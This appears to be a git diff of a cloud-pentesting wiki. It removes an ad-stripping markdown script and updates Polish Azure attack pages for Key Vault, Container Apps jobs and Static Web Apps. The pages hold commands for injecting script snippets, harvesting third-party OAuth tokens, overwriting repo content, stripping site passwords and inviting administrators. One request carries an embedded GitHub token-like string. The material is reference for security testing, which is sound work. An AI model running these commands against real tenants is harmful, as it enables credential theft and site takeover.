diff --git a/scripts/clean_for_ai.py b/scripts/clean_for_ai.py
deleted file mode 100644
index dd8035ed0..000000000
--- a/scripts/clean_for_ai.py
+++ /dev/null
@@ -1,145 +0,0 @@
-import os
-import re
-import tempfile
-
-def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
- def clean_file_content(file_path):
- """Clean the content of a single file and return the cleaned lines."""
- with open(file_path, "r", encoding="utf-8") as f:
- content = f.readlines()
-
- cleaned_lines = []
- inside_hint = False
- for i,line in enumerate(content):
- # Skip lines containing excluded keywords
- if any(keyword in line for keyword in exclude_keywords):
- continue
-
- # Detect and skip {% hint %} ... {% endhint %} blocks
- if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
- inside_hint = True
- if "{% endhint %}" in line:
- inside_hint = False
- continue
- if inside_hint:
- continue
-
- # Skip lines with ...
- if re.match(r".*?", line):
- continue
-
- # Add the line if it passed all checks
- cleaned_lines.append(line.rstrip())
-
- # Remove excess consecutive empty lines
- cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
- return cleaned_lines
-
- def remove_consecutive_empty_lines(lines):
- """Allow no more than one consecutive empty line."""
- cleaned_lines = []
- previous_line_empty = False
- for line in lines:
- if line.strip() == "":
- if not previous_line_empty:
- cleaned_lines.append("")
- previous_line_empty = True
- else:
- cleaned_lines.append(line)
- previous_line_empty = False
- return cleaned_lines
-
- def gather_files_in_order(start_folder):
- """Gather all .md files in a depth-first order."""
- files = []
- for root, _, filenames in os.walk(start_folder):
- md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
- files.extend(md_files)
- return files
-
- # Gather files in depth-first order
- all_files = gather_files_in_order(start_folder)
-
- # Process files and merge into a single output
- with open(output_file, "w", encoding="utf-8") as output:
- for file_path in all_files:
- # Clean the content of the file
- cleaned_content = clean_file_content(file_path)
-
- # Skip saving if the cleaned file has fewer than 10 non-empty lines
- if len([line for line in cleaned_content if line.strip()]) < 10:
- continue
-
- # Get the name of the file for the header
- file_name = os.path.basename(file_path)
-
- # Write header, cleaned content, and 2 extra new lines
- output.write(f"# {file_name}\n\n")
- output.write("\n".join(cleaned_content))
- output.write("\n\n")
-
-def main():
- # Specify the starting folder and output file
- start_folder = os.getcwd()
- output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
-
- # Keywords to exclude from lines
- exclude_keywords = [
- "STM Cyber", # STM Cyber ads
- "offer several valuable cybersecurity services", # STM Cyber ads
- "and hack the unhackable", # STM Cyber ads
- "blog.stmcyber.com", # STM Cyber ads
-
- "RootedCON", # RootedCON ads
- "rootedcon.com", # RootedCON ads
- "the mission of promoting technical knowledge", # RootedCON ads
-
- "Intigriti", # Intigriti ads
- "intigriti.com", # Intigriti ads
-
- "Trickest", # Trickest ads
- "trickest.com", # Trickest ads,
- "Get Access Today:",
-
- "HACKENPROOF", # Hackenproof ads
- "hackenproof.com", # Hackenproof ads
- "HackenProof", # Hackenproof ads
- "discord.com/invite/N3FrSbmwdy", # Hackenproof ads
- "Hacking Insights:", # Hackenproof ads
- "Engage with content that delves", # Hackenproof ads
- "Real-Time Hack News:", # Hackenproof ads
- "Keep up-to-date with fast-paced", # Hackenproof ads
- "Latest Announcements:", # Hackenproof ads
- "Stay informed with the newest bug", # Hackenproof ads
- "start collaborating with top hackers today!", # Hackenproof ads
- "discord.com/invite/N3FrSbmwdy", # Hackenproof ads
-
- "Pentest-Tools", # Pentest-Tools.com ads
- "pentest-tools.com", # Pentest-Tools.com ads
- "perspective on your web apps, network, and", # Pentest-Tools.com ads
- "report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
-
- "SerpApi", # SerpApi ads
- "serpapi.com", # SerpApi ads
- "offers fast and easy real-time", # SerpApi ads
- "plans includes access to over 50 different APIs for scraping", # SerpApi ads
-
- "8kSec", # 8kSec ads
- "academy.8ksec.io", # 8kSec ads
- "Learn the technologies and skills required", # 8kSec ads
-
- "WebSec", # WebSec ads
- "websec.nl", # WebSec ads
- "which means they do it all; Pentesting", # WebSec ads
- ]
-
- # Clean and merge .md files
- clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
-
- # Print the path to the output file
- print(f"Merged content has been saved to: {output_file}")
-
-if __name__ == "__main__":
- # Execute this from the hacktricks folder to clean
- # It will clean all the .md files and compile them into 1 in a proper order
- main()
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
index 89549ab30..d1465eedd 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
@@ -21,7 +21,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --name
```
@@ -64,13 +64,13 @@ az keyvault secret set --vault-name --name --value --name
```
### **Microsoft.KeyVault/vaults/keys/delete**
-To uprawnienie pozwala podmiotowi na usunięcie klucza z sejfu. Klucz jest przenoszony do stanu "miękkiego usunięcia", gdzie może być odzyskany, chyba że zostanie usunięty na stałe.
+To uprawnienie pozwala podmiotowi na usunięcie klucza z sejfu. Klucz jest przenoszony do stanu "soft-delete", gdzie może być odzyskany, chyba że zostanie usunięty na stałe.
```bash
az keyvault key delete --vault-name --name
```
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name --name
To uprawnienie pozwala podmiotowi na przywrócenie sekretu z kopii zapasowej.
```bash
az keyvault secret restore --vault-name --file
+```
+### Microsoft.KeyVault/vaults/keys/recover/action
+Pozwala na odzyskanie wcześniej usuniętego klucza z Azure Key Vault
+```bash
+az keyvault secret recover --vault-name --name
+
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md
index 03ed4401e..b06051c78 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md
@@ -112,7 +112,7 @@ az containerapp create \
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
-Chociaż zadania nie są długoterminowe jak aplikacje kontenerowe, możesz wykorzystać możliwość nadpisania konfiguracji polecenia zadania podczas uruchamiania wykonania. Tworząc niestandardowy szablon zadania (na przykład, zastępując domyślne polecenie odwrotnym shellem), możesz uzyskać dostęp do powłoki w kontenerze, który uruchamia zadanie.
+Chociaż zadania nie są długoterminowe jak aplikacje kontenerowe, możesz wykorzystać możliwość nadpisania konfiguracji polecenia zadania podczas uruchamiania wykonania. Tworząc niestandardowy szablon zadania (na przykład, zastępując domyślne polecenie powrotnym shellem), możesz uzyskać dostęp do powłoki w kontenerze, który uruchamia zadanie.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name --resource-group --output yaml > job-template.yaml
@@ -141,7 +141,7 @@ az containerapp job secret show --name --resource-group -
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
-Jeśli masz uprawnienia do modyfikacji konfiguracji zadania, możesz przypisać tożsamość zarządzaną przypisaną do użytkownika. Ta tożsamość może mieć dodatkowe uprawnienia (na przykład dostęp do innych zasobów lub sekretów), które mogą być nadużywane do eskalacji uprawnień wewnątrz kontenera.
+Jeśli masz uprawnienia do modyfikacji konfiguracji zadania, możesz przypisać tożsamość zarządzaną przypisaną do użytkownika. Ta tożsamość może mieć dodatkowe uprawnienia (na przykład dostęp do innych zasobów lub sekretów), które mogą być wykorzystane do eskalacji uprawnień wewnątrz kontenera.
```bash
az containerapp job update \
--name \
@@ -169,9 +169,14 @@ az containerapp job create \
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
-Wygląda na to, że z tymi uprawnieniami powinno być możliwe uruchomienie zadania. Może to być użyte do uruchomienia zadania z powrotnym powłoką lub innym złośliwym poleceniem bez potrzeby modyfikacji konfiguracji zadania.
+Wygląda na to, że z tymi uprawnieniami powinno być możliwe uruchomienie zadania. Może to być użyte do uruchomienia zadania z odwróconym powłoką lub innym złośliwym poleceniem bez potrzeby modyfikacji konfiguracji zadania.
-Nie udało mi się tego uruchomić, ale według dozwolonych parametrów powinno to być możliwe.
+Nie udało mi się tego uruchomić, ale zgodnie z dozwolonymi parametrami powinno to być możliwe.
+### Microsoft.ContainerInstance/containerGroups/restart/action
+Pozwala na ponowne uruchomienie konkretnej grupy kontenerów w Azure Container Instances.
+```bash
+az container restart --resource-group --name
+```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
index 799219ed9..f9fd8ca04 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md
@@ -4,7 +4,7 @@
## Azure Static Web Apps
-For more information about this service check:
+Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
-It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
-
-The fllowing command create an snippet that will always be loaded by the web app::
+Możliwe jest załadowanie dowolnego kodu HTML na statycznej stronie internetowej poprzez utworzenie fragmentu. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji internetowej i kradzież wrażliwych informacji, takich jak dane logowania lub klucze mnemoniczne (w portfelach web3).
+Poniższe polecenie tworzy fragment, który zawsze będzie ładowany przez aplikację internetową::
```bash
az rest \
- --method PUT \
- --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \
- --headers "Content-Type=application/json" \
- --body '{
- "properties": {
- "name": "supersnippet",
- "location": "Body",
- "applicableEnvironmentsMode": "AllEnvironments",
- "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
- "environments": [],
- "insertBottom": false
- }
- }'
+--method PUT \
+--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \
+--headers "Content-Type=application/json" \
+--body '{
+"properties": {
+"name": "supersnippet",
+"location": "Body",
+"applicableEnvironmentsMode": "AllEnvironments",
+"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
+"environments": [],
+"insertBottom": false
+}
+}'
```
+### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich
-### Read Configured Third Party Credentials
-
-As explained in the App Service section:
+Jak wyjaśniono w sekcji App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
-Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
-
+Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego.
```bash
az rest --method GET \
- --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
+--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
+To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
-This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
-
-Here you have some command examples to check the tokens:
-
+Oto kilka przykładów poleceń do sprawdzenia tokenów:
```bash
# GitHub – List Repositories
curl -H "Authorization: token " \
- -H "Accept: application/vnd.github.v3+json" \
- https://api.github.com/user/repos
+-H "Accept: application/vnd.github.v3+json" \
+https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer " \
- -H "Accept: application/json" \
- https://api.bitbucket.org/2.0/repositories
+-H "Accept: application/json" \
+https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
- -H "Authorization: Bearer " \
- -H "Content-Type: application/json" \
- --data '{"path": ""}'
+-H "Authorization: Bearer " \
+-H "Content-Type: application/json" \
+--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer " \
- -H "Accept: application/json" \
- https://graph.microsoft.com/v1.0/me/drive/root/children
+-H "Accept: application/json" \
+https://graph.microsoft.com/v1.0/me/drive/root/children
```
-
### Overwrite file - Overwrite routes, HTML, JS...
-It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
+Możliwe jest **nadpisanie pliku w repozytorium Github** zawierającym aplikację przez Azure, mając **token Github**, wysyłając żądanie takie jak poniższe, które wskaże ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość o commicie.
-This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
+Może to być wykorzystywane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwej zawartości (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowywania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
> [!WARNING]
-> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
-
+> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób skompromitować repozytorium Github, mogą również bezpośrednio nadpisać plik z Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
- "commit": {
- "message": "Update static web app route configuration",
- "branchName": "main",
- "committer": {
- "name": "Azure App Service",
- "email": "donotreply@microsoft.com"
- },
- "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
- "filePath": "staticwebapp.config.json",
- "message": "Update static web app route configuration",
- "repoName": "carlospolop/my-first-static-web-app",
- "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
- },
- "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
+"commit": {
+"message": "Update static web app route configuration",
+"branchName": "main",
+"committer": {
+"name": "Azure App Service",
+"email": "donotreply@microsoft.com"
+},
+"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
+"filePath": "staticwebapp.config.json",
+"message": "Update static web app route configuration",
+"repoName": "carlospolop/my-first-static-web-app",
+"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
+},
+"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
+### Microsoft.Web/staticSites/config/write
-
-### Microsoft.Web/staticSites/config/write
-
-With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
-
+Dzięki temu uprawnieniu możliwe jest **zmodyfikowanie hasła** chroniącego statyczną aplikację webową lub nawet usunięcie ochrony z każdego środowiska, wysyłając żądanie takie jak poniższe:
```bash
# Change password
az rest --method put \
--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
- "name": "basicAuth",
- "type": "Microsoft.Web/staticSites/basicAuth",
- "properties": {
- "password": "SuperPassword123.",
- "secretUrl": "",
- "applicableEnvironmentsMode": "AllEnvironments"
- }
+"name": "basicAuth",
+"type": "Microsoft.Web/staticSites/basicAuth",
+"properties": {
+"password": "SuperPassword123.",
+"secretUrl": "",
+"applicableEnvironmentsMode": "AllEnvironments"
+}
}'
+
+
# Remove the need of a password
az rest --method put \
--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
- "name": "basicAuth",
- "type": "Microsoft.Web/staticSites/basicAuth",
- "properties": {
- "secretUrl": "",
- "applicableEnvironmentsMode": "SpecifiedEnvironments",
- "secretState": "None"
- }
+"name": "basicAuth",
+"type": "Microsoft.Web/staticSites/basicAuth",
+"properties": {
+"secretUrl": "",
+"applicableEnvironmentsMode": "SpecifiedEnvironments",
+"secretState": "None"
+}
}'
```
-
### Microsoft.Web/staticSites/listSecrets/action
-This permission allows to get the **API key deployment token** for the static app:
-
+To uprawnienie pozwala na uzyskanie **tokena klucza API do wdrożenia** dla aplikacji statycznej:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01"
```
+Aby **zaktualizować aplikację za pomocą tokena**, możesz uruchomić następujące polecenie. Zauważ, że to polecenie zostało wyciągnięte z analizy **jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ponieważ jest to domyślne ustawienie Azure. Obraz i parametry mogą się zmienić w przyszłości.
-Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
-
-1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
-2. Change the code you want to deploy
-3. Deploy it running (Remember to change the ``):
+> [!TIP]
+> Aby wdrożyć aplikację, możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub postępować zgodnie z następującymi krokami:
+1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub inne repozytorium, które chcesz wdrożyć) i uruchom `cd react-basic`.
+2. Zmień kod, który chcesz wdrożyć.
+3. Wdróż go, uruchamiając (pamiętaj, aby zmienić ``):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
-
->[!WARNING]
-> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
+> [!WARNING]
+> Nawet jeśli masz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**. Aby użyć tokena, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API.
### Microsoft.Web/staticSites/write
-With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
+Dzięki temu uprawnieniu możliwe jest **zmienienie źródła statycznej aplikacji webowej na inne repozytorium Github**, jednak nie zostanie to automatycznie zrealizowane, ponieważ musi to być zrobione z poziomu Github Action.
-However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
-
-In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
+Jednakże, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**, możliwe jest **aktualizowanie aplikacji z nowego repozytorium źródłowego!**.
+W przypadku, gdy **Polityka Autoryzacji Wdrożenia** nie jest ustawiona na Github, możesz ją zmienić za pomocą tego samego uprawnienia `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,110 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/>/resourceGroups//providers/Microsoft.Web/staticSites/?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
- "properties": {
- "allowConfigFileUpdates": true,
- "stagingEnvironmentPolicy": "Enabled",
- "buildProperties": {
- "appLocation": "/",
- "apiLocation": "",
- "appArtifactLocation": "build"
- },
- "deploymentAuthPolicy": "GitHub",
- "repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
- }
+"properties": {
+"allowConfigFileUpdates": true,
+"stagingEnvironmentPolicy": "Enabled",
+"buildProperties": {
+"appLocation": "/",
+"apiLocation": "",
+"appArtifactLocation": "build"
+},
+"deploymentAuthPolicy": "GitHub",
+"repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
+}
}'
```
-
-Example Github Action to deploy the app:
-
+Przykładowa akcja Github do wdrożenia aplikacji:
```yaml
name: Azure Static Web Apps CI/CD
on:
- push:
- branches:
- - main
- pull_request:
- types: [opened, synchronize, reopened, closed]
- branches:
- - main
+push:
+branches:
+- main
+pull_request:
+types: [opened, synchronize, reopened, closed]
+branches:
+- main
jobs:
- build_and_deploy_job:
- if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
- runs-on: ubuntu-latest
- name: Build and Deploy Job
- permissions:
- id-token: write
- contents: read
- steps:
- - uses: actions/checkout@v3
- with:
- submodules: true
- lfs: false
- - name: Install OIDC Client from Core Package
- run: npm install @actions/core@1.6.0 @actions/http-client
- - name: Get Id Token
- uses: actions/github-script@v6
- id: idtoken
- with:
- script: |
- const coredemo = require('@actions/core')
- return await coredemo.getIDToken()
- result-encoding: string
- - name: Build And Deploy
- id: builddeploy
- uses: Azure/static-web-apps-deploy@v1
- with:
- azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
- action: "upload"
- ###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
- # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
- app_location: "/" # App source code path
- api_location: "" # Api source code path - optional
- output_location: "build" # Built app content directory - optional
- github_id_token: ${{ steps.idtoken.outputs.result }}
- ###### End of Repository/Build Configurations ######
+build_and_deploy_job:
+if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
+runs-on: ubuntu-latest
+name: Build and Deploy Job
+permissions:
+id-token: write
+contents: read
+steps:
+- uses: actions/checkout@v3
+with:
+submodules: true
+lfs: false
+- name: Install OIDC Client from Core Package
+run: npm install @actions/core@1.6.0 @actions/http-client
+- name: Get Id Token
+uses: actions/github-script@v6
+id: idtoken
+with:
+script: |
+const coredemo = require('@actions/core')
+return await coredemo.getIDToken()
+result-encoding: string
+- name: Build And Deploy
+id: builddeploy
+uses: Azure/static-web-apps-deploy@v1
+with:
+azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
+action: "upload"
+###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
+# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
+app_location: "/" # App source code path
+api_location: "" # Api source code path - optional
+output_location: "build" # Built app content directory - optional
+github_id_token: ${{ steps.idtoken.outputs.result }}
+###### End of Repository/Build Configurations ######
- close_pull_request_job:
- if: github.event_name == 'pull_request' && github.event.action == 'closed'
- runs-on: ubuntu-latest
- name: Close Pull Request Job
- steps:
- - name: Close Pull Request
- id: closepullrequest
- uses: Azure/static-web-apps-deploy@v1
- with:
- action: "close"
+close_pull_request_job:
+if: github.event_name == 'pull_request' && github.event.action == 'closed'
+runs-on: ubuntu-latest
+name: Close Pull Request Job
+steps:
+- name: Close Pull Request
+id: closepullrequest
+uses: Azure/static-web-apps-deploy@v1
+with:
+action: "close"
```
-
### Microsoft.Web/staticSites/resetapikey/action
-With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
-
+Dzięki temu uprawnieniu możliwe jest **zresetowanie klucza API statycznej aplikacji webowej**, co może potencjalnie spowodować DoS dla procesów automatycznie wdrażających aplikację.
```bash
az rest --method POST \
- --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01"
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01"
```
-
### Microsoft.Web/staticSites/createUserInvitation/action
-This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
-
-The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
+To uprawnienie pozwala na **utworzenie zaproszenia dla użytkownika** do uzyskania dostępu do chronionych ścieżek wewnątrz statycznej aplikacji webowej z określoną rolą.
+Logowanie znajduje się w ścieżce takiej jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownik może być zaproszony za pomocą następującego polecenia:
```bash
az staticwebapp users invite \
- --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
- --domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
- --invitation-expiration-in-hours 168 # 7 days is max \
- --name my-first-static-web-app # Name of the app\
- --roles "contributor,administrator" # Comma sepparated list of roles\
- --user-details username # Github username in this case\
- --resource-group Resource_Group_1 # Resource group of the app
+--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
+--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
+--invitation-expiration-in-hours 168 # 7 days is max \
+--name my-first-static-web-app # Name of the app\
+--roles "contributor,administrator" # Comma sepparated list of roles\
+--user-details username # Github username in this case\
+--resource-group Resource_Group_1 # Resource group of the app
```
-
### Pull Requests
-By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
+Domyślnie Pull Requests z gałęzi w tym samym repozytorium będą automatycznie kompilowane i budowane w środowisku staging. Może to być nadużywane przez atakującego z dostępem do zapisu w repozytorium, ale bez możliwości obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** w URL staging.
-The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
+URL staging ma ten format: `https://-..` jak: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
-> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
+> Zauważ, że domyślnie zewnętrzne PR-y nie uruchomią workflow, chyba że połączą przynajmniej 1 PR z repozytorium. Atakujący mógłby wysłać ważny PR do repozytorium, a **następnie wysłać złośliwy PR** do repozytorium, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona, domyślna akcja Github do wdrażania w statycznej aplikacji webowej potrzebuje dostępu do sekretu zawierającego token wdrożeniowy (jak `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), nawet jeśli wdrożenie jest realizowane za pomocą IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego sekretu, a zewnętrzny PR nie może zmienić Workflow, aby umieścić tutaj dowolny token bez zaakceptowania PR, **ten atak naprawdę nie zadziała**.
